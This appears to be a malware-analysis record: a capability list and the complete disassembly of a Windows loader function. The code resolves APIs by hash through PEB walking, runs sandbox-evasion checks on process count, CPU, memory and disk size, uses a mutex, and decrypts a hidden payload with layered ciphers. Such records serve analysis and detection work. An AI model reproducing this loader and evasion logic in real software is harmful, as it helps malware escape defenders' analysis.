Function at 0x140001780
Capabilities:
Access peb ldr_data
Check mutex on windows
Delete file
Encode data using xor
Enumerate processes
Get file size
Get hostname
Get memory capacity
Get system information on windows
Hash data using fnv
Read file on windows
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1430
call fcn.1400093e0
sub rsp, rax
mov rax, qword [0x14000e008]
xor rax, rsp
mov qword [rsp + 0x1420], rax
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x48], rdx
xor esi, esi
mov ebx, esi
mov dword [rsp + 0x40], ebx
xor edx, edx
mov r8d, 0x494
lea rcx, [rsp + 0x720]
call sub.msvcrt.dll_memset
nop
mov dword [rsi], 0x125888
jmp 0x1400017f2
test ebx, ebx
je 0x140001b07
mov dword [rsp + 0x70], 0x104
xor edx, edx
mov r8d, 0x104
lea rcx, [rsp + 0xee0]
call sub.msvcrt.dll_memset
mov dword [rsp + 0x64], 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r9, [rsp + 0x64]
lea r8, [rsp + 0xee0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_QueryFullProcessImageNameA]
mov edx, 0x5c
lea rcx, [rsp + 0xee0]
call qword [sym.imp.msvcrt.dll_strrchr]
mov qword [rsp + 0x48], rax
mov r15, rsi
mov r13d, esi
xor edx, edx
mov r8d, 0x208
lea rcx, [rsp + 0x1210]
call sub.msvcrt.dll_memset
xor edx, edx
mov r8d, 0x104
lea rcx, [rsp + 0xcd0]
call sub.msvcrt.dll_memset
mov edx, 0x64
xor ecx, ecx
lea r8d, [rdx - 0x5a]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov r14, rax
test rax, rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
jne 0x140001b40
mov r12d, 1
mov r14d, r12d
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140001936
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140001936
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xa6e6ab
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140001928
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140001910
cmp r8d, 0xaa8ef5d3
je 0x14000193b
test r9d, r9d
jne 0x1400018f0
mov rax, qword [rax]
jmp 0x1400018c0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r9d, dword [rcx + rax*4]
add r9, r10
mov r8d, 0x104
lea rdx, [rsp + 0xcd0]
xor ecx, ecx
call r9
test eax, eax
je 0x140001b07
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400019f6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400019f6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x73ae5779
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400019e8
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400019d0
cmp r8d, 0xca72d88e
je 0x1400019fb
test r9d, r9d
jne 0x1400019b0
mov rax, qword [rax]
jmp 0x140001980
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
lea rcx, [rsp + 0xcd0]
call r8
mov rax, qword [rsp + 0x48]
inc rax
lea rcx, str..logtmp
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xcd0]
lea r8, str._s_s_s
mov edx, 0x208
lea rcx, [rsp + 0x1210]
call fcn.1400013d0
mov ebx, esi
mov dword [rsp + 0x50], esi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, r12d
mov edx, 0x80000000
lea rcx, [rsp + 0x1210]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140001ae3
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov r13d, eax
cmp eax, 0xffffffff
je 0x140001ae3
mov ecx, r13d
mov rdx, r12
call qword [sym.imp.msvcrt.dll_calloc]
mov r15, rax
test rax, rax
je 0x140001ae3
mov qword [rsp + 0x20], rsi
lea r9, [rsp + 0x50]
mov r8d, r13d
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
cmp eax, r12d
jne 0x140001ae3
cmp r13d, dword [rsp + 0x50]
cmove ebx, r12d
test rdi, rdi
je 0x140001af1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
jne 0x140001d6c
test r15, r15
je 0x140001b07
mov rcx, r15
call qword [sym.imp.msvcrt.dll_free]
xor eax, eax
mov rcx, qword [rsp + 0x1420]
xor rcx, rsp
call fcn.140002890
lea r11, [rsp + 0x1430]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140001bb6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140001bb6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xd21aef6f
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140001ba8
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140001b90
cmp r8d, 0x70a08be3
je 0x140001bbb
test r9d, r9d
jne 0x140001b70
mov rax, qword [rax]
jmp 0x140001b40
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
mov rdx, r14
xor ecx, ecx
call r8
mov r13d, eax
test eax, eax
je 0x140001b07
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140001c76
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140001c76
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xbdaab26c
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140001c68
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140001c50
cmp r8d, 0x6d7c2de4
je 0x140001c7b
test r9d, r9d
jne 0x140001c30
mov rax, qword [rax]
jmp 0x140001c00
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
mov rdx, r14
xor ecx, ecx
call r8
mov r14, rax
test rax, rax
je 0x140001b07
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140001d36
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140001d36
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
mov r8d, 0xcaad057a
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140001d28
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140001d10
cmp r8d, 0x1ec39e65
je 0x140001d3b
test r9d, r9d
jne 0x140001cf0
mov rcx, qword [rcx]
jmp 0x140001cc0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, r14
call rdx
mov r15, rax
test rax, rax
je 0x140001b07
mov r12d, 1
mov r14d, esi
mov rax, r15
lea rcx, [rsp + 0x720]
mov edx, 9
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140001d80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
mov eax, dword [rax + 0x10]
mov dword [rcx + 0x10], eax
cmp dword [rsp + 0x728], edx
je 0x140001dff
call fcn.140001490
test r14d, r14d
je 0x140001dff
lea rcx, [rsp + 0x1210]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp dword [rsp + 0x720], 0
je 0x140001ff9
mov ebx, esi
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140001b07
mov dword [rsp + 0xd0], 0x238
xor edx, edx
mov r8d, 0x234
lea rcx, [rsp + 0xd4]
call sub.msvcrt.dll_memset
lea rcx, [rsp + 0x4e0]
lea rax, [rsp + 0xd0]
mov edx, 4
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140001e60
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
mov rax, qword [rax + 0x30]
mov qword [rcx + 0x30], rax
lea rdx, [rsp + 0x4e0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140001f07
nop word [rax + rax]
inc ebx
lea rdx, [rsp + 0x4e0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001ef0
cmp ebx, 0x28
jle 0x140001b07
lea rcx, [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rsp + 0xb8], 2
jb 0x140001b07
mov dword [rsp + 0x330], 0x40
lea rcx, [rsp + 0x330]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rsp + 0x338]
shr rax, 0x14
cmp eax, 0xfa0
jb 0x140001b07
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor edx, edx
lea r8d, [r9 + 3]
lea rcx, str..PhysicalDrive0
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x38], rsi
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], 0x18
lea rcx, [rsp + 0x310]
mov qword [rsp + 0x20], rcx
xor r9d, r9d
xor r8d, r8d
mov edx, 0x70000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov eax, dword [rsp + 0x324]
mov ecx, dword [rsp + 0x320]
imul rax, rcx
mov ecx, dword [rsp + 0x31c]
imul rax, rcx
imul rax, qword [rsp + 0x310]
cqo
and edx, 0x3fffffff
add rax, rdx
sar rax, 0x1e
cmp eax, 0x5d
jb 0x140001b07
cmp dword [rsp + 0x72c], 0
je 0x1400020aa
xor edx, edx
mov r8d, 0x104
lea rcx, [rsp + 0xff0]
call sub.msvcrt.dll_memset
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x1100]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
je 0x140001b07
mov rax, qword [rsp + 0x48]
inc rax
mov qword [rsp + 0x28], rax
lea rax, str._WIN_
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x1100]
lea r8, str._s__s__s
mov edx, 0x104
lea rcx, [rsp + 0xff0]
call fcn.1400013d0
lea r8, [rsp + 0xff0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x1400020aa
test rbx, rbx
je 0x140001b07
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001b07
lea eax, [r13 - 0x494]
mov r13, qword [rsp + 0x58]
mov dword [r13], eax
mov ecx, eax
call fcn.1400028b4
mov r14, rax
mov r8d, dword [r13]
lea rdx, [r15 + 0x494]
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov r15d, dword [r13]
mov ebx, esi
mov edi, 0x100
mov r8d, edi
xor edx, edx
lea rcx, [rsp + 0xde0]
call sub.msvcrt.dll_memset
mov r8d, edi
xor edx, edx
lea rcx, [rsp + 0xbd0]
call sub.msvcrt.dll_memset
mov edx, esi
nop dword [rax + rax]
mov ecx, edx
mov byte [rsp + rcx + 0xbd0], dl
mov eax, edx
and eax, 0x7f
movzx eax, byte [rsp + rax + 0x734]
mov byte [rsp + rcx + 0xde0], al
inc edx
cmp edx, edi
jl 0x140002110
mov rdx, rsi
movzx r8d, byte [rsp + rdx + 0xbd0]
movzx eax, byte [rsp + rdx + 0xde0]
add ebx, eax
add ebx, r8d
and ebx, 0x800000ff
jge 0x14000215e
dec ebx
or ebx, 0xffffff00
inc ebx
movsxd rax, ebx
lea rcx, [rsp + 0xbd0]
add rcx, rax
movzx eax, byte [rcx]
mov byte [rsp + rdx + 0xbd0], al
mov byte [rcx], r8b
inc rdx
sub rdi, 1
jne 0x140002136
mov r8d, esi
mov r9d, esi
test r15d, r15d
je 0x14000221a
mov r10, r14
mov rdi, r15
nop word [rax + rax]
inc r8d
and r8d, 0x800000ff
jge 0x1400021b9
dec r8d
or r8d, 0xffffff00
inc r8d
movsxd rax, r8d
lea r11, [rsp + 0xbd0]
add r11, rax
movzx ebx, byte [r11]
add r9d, ebx
and r9d, 0x800000ff
jge 0x1400021e4
dec r9d
or r9d, 0xffffff00
inc r9d
movsxd rax, r9d
lea rcx, [rsp + 0xbd0]
add rcx, rax
movzx eax, byte [rcx]
mov byte [r11], al
mov byte [rcx], bl
movzx eax, byte [r11]
add eax, ebx
movzx eax, al
movzx ecx, byte [rsp + rax + 0xbd0]
add cl, 3
xor byte [r10], cl
inc r10
sub rdi, 1
jne 0x1400021a0
mov ecx, dword [r13]
mov rdx, r12
call qword [sym.imp.msvcrt.dll_calloc]
mov rdi, rax
mov qword [rsp + 0x68], rax
test rax, rax
je 0x140001b07
mov ebx, dword [r13]
mov r8d, ebx
mov edx, 0x90
mov rcx, rax
call sub.msvcrt.dll_memset
xorps xmm0, xmm0
movups xmmword [rsp + 0xbc0], xmm0
test bl, 0xf
jne 0x1400027e0
movups xmm1, xmmword [rsp + 0x734]
movd eax, xmm1
movzx edx, al
shl edx, 8
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movzx ecx, al
or edx, ecx
shl edx, 8
movdqa xmm0, xmm1
psrldq xmm0, 2
movd eax, xmm0
movzx ecx, al
or edx, ecx
shl edx, 8
movdqa xmm0, xmm1
psrldq xmm0, 3
movd eax, xmm0
movzx ecx, al
or edx, ecx
mov dword [rsp + 0x370], edx
movdqa xmm0, xmm1
psrldq xmm0, 4
movd eax, xmm0
movzx edx, al
shl edx, 8
movdqa xmm0, xmm1
psrldq xmm0, 5
movd eax, xmm0
movzx ecx, al
or edx, ecx
shl edx, 8
movdqa xmm0, xmm1
psrldq xmm0, 6
movd eax, xmm0
movzx ecx, al
or edx, ecx
shl edx, 8
movdqa xmm0, xmm1
psrldq xmm0, 7
movd eax, xmm0
movzx ecx, al
or edx, ecx
mov dword [rsp + 0x374], edx
movdqa xmm0, xmm1
psrldq xmm0, 8
movd eax, xmm0
movzx edx, al
shl edx, 8
movdqa xmm0, xmm1
psrldq xmm0, 9
movd eax, xmm0
movzx ecx, al
or edx, ecx
shl edx, 8
movdqa xmm0, xmm1
psrldq xmm0, 0xa
movd eax, xmm0
movzx ecx, al
or edx, ecx
shl edx, 8
movdqa xmm0, xmm1
psrldq xmm0, 0xb
movd eax, xmm0
movzx ecx, al
or edx, ecx
mov dword [rsp + 0x378], edx
movdqa xmm0, xmm1
psrldq xmm0, 0xc
movd eax, xmm0
movzx r10d, al
shl r10d, 8
movdqa xmm0, xmm1
psrldq xmm0, 0xd
movd eax, xmm0
movzx ecx, al
or r10d, ecx
shl r10d, 8
movdqa xmm0, xmm1
psrldq xmm0, 0xe
movd eax, xmm0
movzx ecx, al
or r10d, ecx
shl r10d, 8
psrldq xmm1, 0xf
movd eax, xmm1
movzx ecx, al
or r10d, ecx
mov dword [rsp + 0x37c], r10d
lea r8, [rsp + 0x37e]
lea r9, [0x14000b600]
shr r10d, 0x10
lea r11, [0x140000000]
lea r15, [0x14000b628]
nop dword [rax]
mov edx, dword [r8 - 2]
movzx eax, byte [r8 - 1]
movzx ecx, byte [rax + r11 + 0xb630]
movzx eax, r10b
movzx eax, byte [rax + r11 + 0xb630]
shl eax, 8
xor ecx, eax
shl ecx, 8
movzx eax, dl
movzx eax, byte [rax + r11 + 0xb630]
xor ecx, eax
shl ecx, 8
movzx eax, byte [r8 + 1]
movzx eax, byte [rax + r11 + 0xb630]
xor ecx, eax
xor ecx, dword [r8 - 0xe]
xor ecx, dword [r9]
mov dword [r8 + 2], ecx
mov eax, dword [r8 - 0xa]
xor eax, ecx
mov dword [r8 + 6], eax
mov ecx, dword [r8 - 6]
xor ecx, eax
mov dword [r8 + 0xa], ecx
xor edx, ecx
mov dword [r8 + 0xe], edx
lea r8, [r8 + 0x10]
add r9, 4
shr edx, 0x10
movzx r10d, dl
cmp r9, r15
jl 0x1400023e0
lea rcx, [rsp + 0x428]
lea rdx, [rsp + 0x418]
mov r8d, 0xb
nop dword [rax + rax]
mov eax, dword [rdx - 8]
mov dword [rcx - 8], eax
mov eax, dword [rdx - 4]
mov dword [rcx - 4], eax
mov eax, dword [rdx]
mov dword [rcx], eax
mov eax, dword [rdx + 4]
mov dword [rcx + 4], eax
lea rdx, [rdx - 0x10]
lea rcx, [rcx + 0x10]
sub r8, 1
jne 0x140002480
test ebx, ebx
je 0x1400027e0
lea rdx, [r14 + 2]
mov qword [rsp + 0x58], rdx
mov rax, rdi
sub rax, r14
mov qword [rsp + 0x78], rax
lea ecx, [rbx - 1]
shr ecx, 4
inc ecx
mov qword [rsp + 0x48], rcx
mov r15d, dword [rsp + 0x42c]
mov r12d, dword [rsp + 0x428]
mov r13d, dword [rsp + 0x424]
mov r8d, dword [rsp + 0x420]
nop dword [rax]
mov rcx, rsi
mov rdi, rdx
nop word [rax + rax]
movzx eax, byte [rdi - 2]
mov byte [rsp + rcx + 0xbc0], al
movzx eax, byte [rdi - 1]
mov byte [rsp + rcx + 0xbc4], al
movzx eax, byte [rdi]
mov byte [rsp + rcx + 0xbc8], al
movzx eax, byte [rdi + 1]
mov byte [rsp + rcx + 0xbcc], al
add rdi, 4
inc rcx
cmp rcx, 4
jl 0x140002500
mov ecx, 0x18
mov rdx, rsi
mov eax, r8d
shr eax, cl
xor byte [rsp + rdx + 0xbc0], al
mov eax, r13d
shr eax, cl
xor byte [rsp + rdx + 0xbc1], al
mov eax, r12d
shr eax, cl
xor byte [rsp + rdx + 0xbc2], al
mov eax, r15d
shr eax, cl
xor byte [rsp + rdx + 0xbc3], al
sub ecx, 8
add rdx, 4
cmp rdx, 0x10
jl 0x140002540
mov r14d, 9
lea rbx, [rsp + 0x420]
nop dword [rax + rax]
lea rbx, [rbx + 0x10]
lea rcx, [rsp + 0xbc0]
call fcn.140001010
mov r9, rsi
movzx eax, byte [rsp + r9*4 + 0xbc0]
movzx eax, byte [rax + r11 + 0xb730]
mov byte [rsp + r9*4 + 0xbc0], al
movzx eax, byte [rsp + r9*4 + 0xbc1]
movzx eax, byte [rax + r11 + 0xb730]
mov byte [rsp + r9*4 + 0xbc1], al
movzx eax, byte [rsp + r9*4 + 0xbc2]
movzx eax, byte [rax + r11 + 0xb730]
mov byte [rsp + r9*4 + 0xbc2], al
movzx eax, byte [rsp + r9*4 + 0xbc3]
movzx eax, byte [rax + r11 + 0xb730]
mov byte [rsp + r9*4 + 0xbc3], al
inc r9
cmp r9, 4
jl 0x1400025a4
mov r8d, dword [rbx]
mov r9d, dword [rbx + 4]
mov r10d, dword [rbx + 8]
mov r11d, dword [rbx + 0xc]
mov ecx, 0x18
mov rax, rsi
nop dword [rax]
mov edx, r8d
shr edx, cl
xor byte [rsp + rax + 0xbc0], dl
mov edx, r9d
shr edx, cl
xor byte [rsp + rax + 0xbc1], dl
mov edx, r10d
shr edx, cl
xor byte [rsp + rax + 0xbc2], dl
mov edx, r11d
shr edx, cl
xor byte [rsp + rax + 0xbc3], dl
sub ecx, 8
add rax, 4
cmp rax, 0x10
jl 0x140002630
lea rcx, [rsp + 0xbc0]
call fcn.140001150
sub r14, 1
lea r11, [0x140000000]
jne 0x140002590
mov rcx, rsi
lea rdx, [0x140000000]
nop word [rax + rax]
movzx eax, byte [rsp + rcx*4 + 0xbc0]
movzx eax, byte [rax + rdx + 0xb730]
mov byte [rsp + rcx*4 + 0xbc0], al
movzx eax, byte [rsp + rcx*4 + 0xbc1]
movzx eax, byte [rax + rdx + 0xb730]
mov byte [rsp + rcx*4 + 0xbc1], al
movzx eax, byte [rsp + rcx*4 + 0xbc2]
movzx eax, byte [rax + rdx + 0xb730]
mov byte [rsp + rcx*4 + 0xbc2], al
movzx eax, byte [rsp + rcx*4 + 0xbc3]
movzx eax, byte [rax + rdx + 0xb730]
mov byte [rsp + rcx*4 + 0xbc3], al
inc rcx
cmp rcx, 4
jl 0x1400026a0
lea rcx, [rsp + 0xbc0]
call fcn.140001010
mov r9d, dword [rbx + 0x10]
mov r8d, dword [rbx + 0x14]
mov r10d, dword [rbx + 0x18]
mov r11d, dword [rbx + 0x1c]
mov ecx, 0x18
mov rdx, rsi
nop word [rax + rax]
mov eax, r9d
shr eax, cl
xor byte [rsp + rdx + 0xbc0], al
mov eax, r8d
shr eax, cl
xor byte [rsp + rdx + 0xbc1], al
mov eax, r10d
shr eax, cl
xor byte [rsp + rdx + 0xbc2], al
mov eax, r11d
shr eax, cl
xor byte [rsp + rdx + 0xbc3], al
sub ecx, 8
add rdx, 4
cmp rdx, 0x10
jl 0x140002730
mov rdx, rsi
mov rcx, qword [rsp + 0x78]
add rcx, qword [rsp + 0x58]
nop word [rax + rax]
movzx eax, byte [rsp + rdx + 0xbc0]
mov byte [rcx - 2], al
movzx eax, byte [rsp + rdx + 0xbc4]
mov byte [rcx - 1], al
movzx eax, byte [rsp + rdx + 0xbc8]
mov byte [rcx], al
movzx eax, byte [rsp + rdx + 0xbcc]
mov byte [rcx + 1], al
lea rcx, [rcx + 4]
inc rdx
cmp rdx, 4
jl 0x140002780
mov rdx, rdi
mov qword [rsp + 0x58], rdx
sub qword [rsp + 0x48], 1
mov r8d, dword [rsp + 0x420]
lea r11, [0x140000000]
jne 0x1400024f0
mov rdi, qword [rsp + 0x68]
mov rax, rdi
jmp 0x140001b09